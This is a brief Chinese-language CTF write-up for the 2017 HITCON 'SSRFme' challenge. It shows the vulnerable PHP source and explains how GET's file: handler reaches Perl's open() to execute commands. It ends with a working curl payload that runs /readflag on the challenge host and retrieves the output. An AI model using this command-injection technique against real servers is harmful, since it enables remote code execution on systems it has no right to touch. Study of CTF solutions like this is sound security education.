2017_HITCON-CTF-SSRFme

2017-11-08  本文已影响0人  Linkingg

题目源码:

<?php 
 $sandbox = "sandbox/" . md5("orange" .$_SERVER["REMOTE_ADDR"]); 
 @mkdir($sandbox); 
 @chdir($sandbox); 
 $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
 $info = pathinfo($_GET["filename"]); 
 $dir  = str_replace(".", "", basename($info["dirname"])); 
 @mkdir($dir); 
 @chdir($dir); 
 @file_put_contents(basename($info["basename"]), $data); 
 highlight_file(__FILE__); 


perl在open当中可以执行命令,如:

open(FD, "ls|")或open(FD, "|ls")

都可以执行ls命令,而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数,这就是我们要利用的点,


image.png

payload

curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=/xx' > /dev/null
curl 'http://13.115.136.15/sandbox/f0a42db72ab289fd33e24107424a2f9a/xx/'
上一篇 下一篇

猜你喜欢

热点阅读